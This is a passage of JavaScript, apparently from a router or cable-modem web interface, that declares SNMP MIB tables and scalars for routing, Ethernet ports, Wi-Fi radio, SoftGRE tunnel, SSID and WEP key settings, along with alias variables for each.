arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask;\nvar arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled;\nvar arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface;\nvar arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP;\nvar arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT;\n\nvar LanEtherPortTable = new Table(\"LanEtherPortTable\",                      \"1.3.6.1.4.1.4115.1.20.1.1.2.8\");\nLanEtherPortTable.LanEtherPortIdx = new Column(\"LanEtherPortIdx\",           \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1\",66);\nLanEtherPortTable.LanEtherPortIFIndex = new Column(\"LanEtherPortIFIndex\",   \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2\",2);\nLanEtherPortTable.LanEtherPortEnabled = new Column(\"LanEtherPortEnabled\",   \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3\",2);\nLanEtherPortTable.LanEtherPortDuplex = new Column(\"LanEtherPortDuplex\",     \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4\",2);\nLanEtherPortTable.LanEtherPortSpeed = new Column(\"LanEtherPortSpeed\",       \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5\",2);\nLanEtherPortTable.LanEtherPortAuto = new Column(\"LanEtherPortAuto\",         \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6\",2);\nLanEtherPortTable.LanEtherPortHasLink = new Column(\"LanEtherPortHasLink\",   \"1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7\",2);\nvar arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx;\nvar arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex;\nvar arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled;\nvar arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex;\nvar arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed;\nvar arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto;\nvar arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink;\n\nvar RIPngObjects = new Container(\"RIPngObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.2.9\");\nRIPngObjects.RIPngEnable= new Scalar(\"RIPngEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.1\",2);\nRIPngObjects.RIPngAddr= new Scalar(\"RIPngAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.2\",4, 1);\nRIPngObjects.RIPngSubnetEnable= new Scalar(\"RIPngSubnetEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.3\",2);\nRIPngObjects.RIPngRoutedSubnetAddr= new Scalar(\"RIPngRoutedSubnetAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.4\",4, 1);\nRIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar(\"RIPngRoutedSubnetPrefixLength\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.5\",2);\nRIPngObjects.RIPngSendCMInterface= new Scalar(\"RIPngSendCMInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.2.9.6\",2);\nvar arRIPngEnable=RIPngObjects.RIPngEnable;\nvar arRIPngAddr=RIPngObjects.RIPngAddr;\nvar arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable;\nvar arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr;\nvar arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength;\nvar arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface;\n\nvar WiFi50RadioSettings = new Container(\"WiFi50RadioSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.3.50\");\nWiFi50RadioSettings.WiFi50Channel= new Scalar(\"WiFi50Channel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.1\",66);\nWiFi50RadioSettings.WiFi50Mode= new Scalar(\"WiFi50Mode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.2\",2);\nWiFi50RadioSettings.WiFi50EnableRadio= new Scalar(\"WiFi50EnableRadio\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.10\",2);\nWiFi50RadioSettings.WiFi50OutputPower= new Scalar(\"WiFi50OutputPower\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.14\",2);\nWiFi50RadioSettings.WiFi50HTTxStream= new Scalar(\"WiFi50HTTxStream\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.21\",66);\nWiFi50RadioSettings.WiFi50HTRxStream= new Scalar(\"WiFi50HTRxStream\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.22\",66);\nWiFi50RadioSettings.WiFi50EnableSTBC= new Scalar(\"WiFi50EnableSTBC\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.23\",2);\nWiFi50RadioSettings.WiFi50EnableRDG= new Scalar(\"WiFi50EnableRDG\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.24\",2);\nWiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar(\"WiFi50IGMPSnooping\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.25\",2);\nWiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar(\"WiFi50WiFiBlockDFSChan\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.26\",2);\nWiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar(\"WiFi50PhysicalChannel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.16\",2);   /* kn-mib */\nvar arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel;\nvar arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode;\nvar arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio;\nvar arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower;\nvar arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream;\nvar arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream;\nvar arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC;\nvar arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG;\nvar arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping;\nvar arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan;\nvar arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel;   /* kn-mib */\n\nvar WiFi50NSettings = new Container(\"WiFi50NSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.3.50.20\");\nWiFi50NSettings.WiFi50HTMCS= new Scalar(\"WiFi50HTMCS\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1\",2);\nWiFi50NSettings.WiFi50ChannelBW= new Scalar(\"WiFi50ChannelBW\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2\",2);\nWiFi50NSettings.WiFi50NSideBand= new Scalar(\"WiFi50NSideBand\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3\",2);\nWiFi50NSettings.WiFi50HTMode= new Scalar(\"WiFi50HTMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4\",2);\nWiFi50NSettings.WiFi50GuardInterval= new Scalar(\"WiFi50GuardInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5\",2);\nWiFi50NSettings.WiFi50AMSDUEnable= new Scalar(\"WiFi50AMSDUEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6\",2);\nWiFi50NSettings.WiFi50DeclinePeerBA= new Scalar(\"WiFi50DeclinePeerBA\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7\",2);\nWiFi50NSettings.WiFi50BlockAck= new Scalar(\"WiFi50BlockAck\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8\",2);\nWiFi50NSettings.WiFi50NProtection= new Scalar(\"WiFi50NProtection\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9\",2);\nWiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar(\"WiFi50Allow40MHzOnlyOperation\",\"1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10\",2);\nvar arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS;\nvar arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW;\nvar arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand;\nvar arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode;\nvar arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval;\nvar arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable;\nvar arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA;\nvar arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck;\nvar arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection;\nvar arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation;\n\nvar WirelessCfg = new Container(\"WirelessCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3\");\nWirelessCfg.WiFiCountry= new Scalar(\"WiFiCountry\",\"1.3.6.1.4.1.4115.1.20.1.1.3.1\",4);\nWirelessCfg.WiFiChannel= new Scalar(\"WiFiChannel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.2\",66);\nWirelessCfg.WiFiMode= new Scalar(\"WiFiMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.3\",2);\nWirelessCfg.WiFiBGProtect= new Scalar(\"WiFiBGProtect\",\"1.3.6.1.4.1.4115.1.20.1.1.3.4\",2);\nWirelessCfg.WiFiBeaconInterval= new Scalar(\"WiFiBeaconInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.5\",66);\nWirelessCfg.WiFiDTIMInterval= new Scalar(\"WiFiDTIMInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.6\",66);\nWirelessCfg.WiFiTxPreamble= new Scalar(\"WiFiTxPreamble\",\"1.3.6.1.4.1.4115.1.20.1.1.3.7\",2);\nWirelessCfg.WiFiRTSThreshold= new Scalar(\"WiFiRTSThreshold\",\"1.3.6.1.4.1.4115.1.20.1.1.3.8\",66);\nWirelessCfg.WiFiFragmentThresh= new Scalar(\"WiFiFragmentThresh\",\"1.3.6.1.4.1.4115.1.20.1.1.3.9\",66);\nWirelessCfg.WiFiShortSlot= new Scalar(\"WiFiShortSlot\",\"1.3.6.1.4.1.4115.1.20.1.1.3.10\",2);\nWirelessCfg.WiFiFrameBurst= new Scalar(\"WiFiFrameBurst\",\"1.3.6.1.4.1.4115.1.20.1.1.3.11\",2);\nWirelessCfg.WiFiEnableRadio= new Scalar(\"WiFiEnableRadio\",\"1.3.6.1.4.1.4115.1.20.1.1.3.12\",2);\nWirelessCfg.WiFiTxPower= new Scalar(\"WiFiTxPower\",\"1.3.6.1.4.1.4115.1.20.1.1.3.13\",2);\nWirelessCfg.WiFiShortRetryLimit= new Scalar(\"WiFiShortRetryLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.14\",2);\nWirelessCfg.WiFiLongRetryLimit= new Scalar(\"WiFiLongRetryLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.15\",2);\nWirelessCfg.WiFiOutputPower= new Scalar(\"WiFiOutputPower\",\"1.3.6.1.4.1.4115.1.20.1.1.3.16\",2);\nWirelessCfg.WiFiMulticastA= new Scalar(\"WiFiMulticastA\",\"1.3.6.1.4.1.4115.1.20.1.1.3.17\",2);\nWirelessCfg.WiFiMulticastBG= new Scalar(\"WiFiMulticastBG\",\"1.3.6.1.4.1.4115.1.20.1.1.3.18\",2);\nWirelessCfg.WiFiBasicRateSet= new Scalar(\"WiFiBasicRateSet\",\"1.3.6.1.4.1.4115.1.20.1.1.3.19\",2);\nWirelessCfg.WiFiTxRate= new Scalar(\"WiFiTxRate\",\"1.3.6.1.4.1.4115.1.20.1.1.3.20\",2);\nWirelessCfg.WiFiResetDefaults= new Scalar(\"WiFiResetDefaults\",\"1.3.6.1.4.1.4115.1.20.1.1.3.32\",2);\nWirelessCfg.WiFiEnableRadioNow= new Scalar(\"WiFiEnableRadioNow\",\"1.3.6.1.4.1.4115.1.20.1.1.3.33\",2);\nWirelessCfg.WiFiCustomSSIDStr= new Scalar(\"WiFiCustomSSIDStr\",\"1.3.6.1.4.1.4115.1.20.1.1.3.34\",4);\nWirelessCfg.WiFiReset= new Scalar(\"WiFiReset\",\"1.3.6.1.4.1.4115.1.20.1.1.3.35\",2);\nWirelessCfg.WiFiUseSNForPSK= new Scalar(\"WiFiUseSNForPSK\",\"1.3.6.1.4.1.4115.1.20.1.1.3.36\",2);\nWirelessCfg.WiFiRadioControlMode= new Scalar(\"WiFiRadioControlMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.37\",2);\nWirelessCfg.WiFiAutoChannelTime= new Scalar(\"WiFiAutoChannelTime\",\"1.3.6.1.4.1.4115.1.20.1.1.3.38\",2);\nWirelessCfg.WiFiUtilityCommand= new Scalar(\"WiFiUtilityCommand\",\"1.3.6.1.4.1.4115.1.20.1.1.3.40\",4);\nWirelessCfg.WiFiUtilityCommandOutput= new Scalar(\"WiFiUtilityCommandOutput\",\"1.3.6.1.4.1.4115.1.20.1.1.3.41\",4);\nWirelessCfg.WiFiPhysicalChannel= new Scalar(\"WiFiPhysicalChannel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.43\",2);\nWirelessCfg.WiFiTxPowerPhysical= new Scalar(\"WiFiTxPowerPhysical\",\"1.3.6.1.4.1.4115.1.20.1.1.3.44\",2);\nWirelessCfg.WiFiShortSlotEnhanced= new Scalar(\"WiFiShortSlotEnhanced\",\"1.3.6.1.4.1.4115.1.20.1.1.3.45\",2);\nWirelessCfg.WiFiInterferencePhyLayer= new Scalar(\"WiFiInterferencePhyLayer\",\"1.3.6.1.4.1.4115.1.20.1.1.3.47\",2);\nWirelessCfg.WiFiInterferenceDriverLayer= new Scalar(\"WiFiInterferenceDriverLayer\",\"1.3.6.1.4.1.4115.1.20.1.1.3.48\",2);\nWirelessCfg.WiFiChannelsInterferenceState= new Scalar(\"WiFiChannelsInterferenceState\",\"1.3.6.1.4.1.4115.1.20.1.1.3.49\",4);\nWirelessCfg.WiFiExtensionChannel= new Scalar(\"WiFiExtensionChannel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.64\",66);\nWirelessCfg.WiFiHTTxStream= new Scalar(\"WiFiHTTxStream\",\"1.3.6.1.4.1.4115.1.20.1.1.3.55\",66);\nWirelessCfg.WiFiHTRxStream= new Scalar(\"WiFiHTRxStream\",\"1.3.6.1.4.1.4115.1.20.1.1.3.56\",66);\nWirelessCfg.WiFiEnableSTBC= new Scalar(\"WiFiEnableSTBC\",\"1.3.6.1.4.1.4115.1.20.1.1.3.57\",2);\nWirelessCfg.WiFiEnableRDG= new Scalar(\"WiFiEnableRDG\",\"1.3.6.1.4.1.4115.1.20.1.1.3.58\",2);\nWirelessCfg.WiFiIGMPSnooping= new Scalar(\"WiFiIGMPSnooping\",\"1.3.6.1.4.1.4115.1.20.1.1.3.59\",2);\nvar arWiFiCountry=WirelessCfg.WiFiCountry;\nvar arWiFiChannel=WirelessCfg.WiFiChannel;\nvar arWiFiMode=WirelessCfg.WiFiMode;\nvar arWiFiBGProtect=WirelessCfg.WiFiBGProtect;\nvar arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval;\nvar arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval;\nvar arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble;\nvar arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold;\nvar arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh;\nvar arWiFiShortSlot=WirelessCfg.WiFiShortSlot;\nvar arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst;\nvar arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio;\nvar arWiFiTxPower=WirelessCfg.WiFiTxPower;\nvar arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit;\nvar arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit;\nvar arWiFiOutputPower=WirelessCfg.WiFiOutputPower;\nvar arWiFiMulticastA=WirelessCfg.WiFiMulticastA;\nvar arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG;\nvar arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet;\nvar arWiFiTxRate=WirelessCfg.WiFiTxRate;\nvar arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults;\nvar arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow;\nvar arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr;\nvar arWiFiReset=WirelessCfg.WiFiReset;\nvar arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK;\nvar arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode;\nvar arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime;\nvar arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand;\nvar arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput;\nvar arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel;\nvar arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical;\nvar arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced;\nvar arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer;\nvar arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer;\nvar arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState;\nvar arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel;\nvar arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream;\nvar arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream;\nvar arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC;\nvar arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG;\nvar arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping;\n\nvar WiFi80211NSettings = new Container(\"WiFi80211NSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.3.21\");\nWiFi80211NSettings.WiFi80211NBand= new Scalar(\"WiFi80211NBand\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.1\",2);\nWiFi80211NSettings.WiFiHTMCS= new Scalar(\"WiFiHTMCS\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.2\",2);\nWiFi80211NSettings.WiFiChannelBW= new Scalar(\"WiFiChannelBW\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.3\",2);\nWiFi80211NSettings.WiFi80211NSideBand= new Scalar(\"WiFi80211NSideBand\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.4\",2);\nWiFi80211NSettings.WiFiHTMode= new Scalar(\"WiFiHTMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.5\",2);\nWiFi80211NSettings.WiFiGuardInterval= new Scalar(\"WiFiGuardInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.6\",2);\nWiFi80211NSettings.WiFiAMSDUEnable= new Scalar(\"WiFiAMSDUEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.7\",2);\nWiFi80211NSettings.WiFiDeclinePeerBA= new Scalar(\"WiFiDeclinePeerBA\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.8\",2);\nWiFi80211NSettings.WiFiBlockAck= new Scalar(\"WiFiBlockAck\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.9\",2);\nWiFi80211NSettings.WiFiNProtection= new Scalar(\"WiFiNProtection\",\"1.3.6.1.4.1.4115.1.20.1.1.3.21.10\",2);\nvar arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand;\nvar arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS;\nvar arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW;\nvar arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand;\nvar arWiFiHTMode=WiFi80211NSettings.WiFiHTMode;\nvar arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval;\nvar arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable;\nvar arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA;\nvar arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck;\nvar arWiFiNProtection=WiFi80211NSettings.WiFiNProtection;\n\n\nvar RouterSoftGreWanTable = new Table(\"RouterSoftGreWanTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.19.1\");\nRouterSoftGreWanTable.SoftGreWanEnable = new Column(\"SoftGreWanEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1\",2,1);\nRouterSoftGreWanTable.SoftGreMappedInterface =  new Column(\"SoftGreMappedInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2\",66);\nRouterSoftGreWanTable.SoftGreWanDscp = new Column(\"SoftGreWanDscp\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19\",2,1);\nRouterSoftGreWanTable.FailoverPingCount = new Column(\"FailoverPingCount\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7\",2, 1);\nRouterSoftGreWanTable.FailoverPingInterval = new Column(\"FailoverPingInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8\",2, 1);\nRouterSoftGreWanTable.FailoverThreshold = new Column(\"FailoverThreshold\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9\",2, 1);\n//RouterSoftGreWanTable.DNSRetryTimer = new Column(\"DNSRetryTimer\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20\",2, 1);\nRouterSoftGreWanTable.CircuitIdEnabled = new Column(\"CircuitIdEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10\",2);\nRouterSoftGreWanTable.RemoteIdEnabled = new Column(\"RemoteIdEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11\",2);\nRouterSoftGreWanTable.MaxSessions = new Column(\"MaxSessions\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3\",2);\nRouterSoftGreWanTable.ControllerFqdn = new Column(\"ControllerFqdn\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4\",4);\nRouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column(\"ControllerProvisionedSecondaryIpAddressType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5\",1);\nRouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column(\"ControllerProvisionedSecondaryIpAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6\",4);\nRouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column(\"ControllerCurrentIpAddressType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21\",1);\nRouterSoftGreWanTable.ControllerCurrentIpAddress = new Column(\"ControllerCurrentIpAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22\",4);\n\nvar arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable;\nvar arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface;\nvar arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp;\nvar arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount;\nvar arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval;\nvar arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold;\n//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer;\nvar arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled;\nvar arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled;\nvar arGreMaxSessions=RouterSoftGreWanTable.MaxSessions;\nvar arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn;\nvar arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType;\nvar arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress;\nvar arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType;\nvar arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress;\n\nvar RouterSoftGreSSIDTable = new Table(\"RouterSoftGreSSIDTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.19.2\");\nRouterSoftGreSSIDTable.SoftGreVLanId = new Column(\"SoftGreVLanId\", \"1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1\",66);\nRouterSoftGreSSIDTable.SoftGreVLanPriority =  new Column(\"SoftGreVLanPriority\", \"1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2\",66);\n\nvar arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId;\nvar arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority;\n\n\t\t\t\nvar BSSTable = new Table(\"BSSTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.22\");\nBSSTable.BssID = new Column(\"BssID\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1\",4, 1);\nBSSTable.BssSSID = new Column(\"BssSSID\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2\",4);\nBSSTable.BssActive = new Column(\"BssActive\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3\",2);\nBSSTable.BssSSIDBroadcast = new Column(\"BssSSIDBroadcast\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4\",2);\nBSSTable.BssSecurityMode = new Column(\"BssSecurityMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5\",2);\nBSSTable.BssAccessMode = new Column(\"BssAccessMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6\",2);\nBSSTable.BssNetworkIsolate = new Column(\"BssNetworkIsolate\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7\",2);\nBSSTable.BssMACAccessCount = new Column(\"BssMACAccessCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8\",66);\nBSSTable.BssMACAccessClear = new Column(\"BssMACAccessClear\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9\",2);\nBSSTable.BssWMMEnable = new Column(\"BssWMMEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12\",2);\nvar arBssID=BSSTable.BssID;\nvar arBssSSID=BSSTable.BssSSID;\nvar arBssActive=BSSTable.BssActive;\nvar arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast;\nvar arBssSecurityMode=BSSTable.BssSecurityMode;\nvar arBssAccessMode=BSSTable.BssAccessMode;\nvar arBssNetworkIsolate=BSSTable.BssNetworkIsolate;\nvar arBssMACAccessCount=BSSTable.BssMACAccessCount;\nvar arBssMACAccessClear=BSSTable.BssMACAccessClear;\nvar arBssWMMEnable=BSSTable.BssWMMEnable;\n\nvar WEPTable = new Table(\"WEPTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.23\");\nWEPTable.WEPCurrentKey = new Column(\"WEPCurrentKey\",\"1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1\",66);\nWEPTable.WEPEncryptionMode = new Column(\"WEPEncryptionMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2\",2);\nWEPTable.WEPPassPhrase = new Column(\"WEPPassPhrase\",\"1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3\",4);\nvar arWEPCurrentKey=WEPTable.WEPCurrentKey;\nvar arWEPEncryptionMode=WEPTable.WEPEncryptionMode;\nvar arWEPPassPhrase=WEPTable.WEPPassPhrase;\n\nvar WEP64BitKeyTable = new Table(\"WEP64BitKeyTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.24\");\nWEP64BitKeyTable.WEP64BitKeyIndex = new Column(\"WEP64BitKeyIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1\",2);\nWEP64BitKeyTable.WEP64BitKeyValue = new Column(\"WEP64BitKeyValue\",\"1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2\",4);\nWEP64BitKeyTable.WEP64BitKeyStatus = new Column(\"WEP64BitKeyStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3\",2);\nvar arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex;\nvar arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue;\nvar arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus;\n\nvar WEP128BitKeyTable = new Table(\"WEP128BitKeyTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.25\");\nWEP128BitKeyTable.WEP128BitKeyIndex = new Column(\"WEP128BitKeyIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1\",2);\nWEP128BitKeyTable.WEP128BitKeyValue = new Column(\"WEP128BitKeyValue\",\"1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2\",4);\nWEP128BitKeyTable.WEP128BitKeyStatus = new Column(\"WEP128BitKeyStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3\",2);\nvar 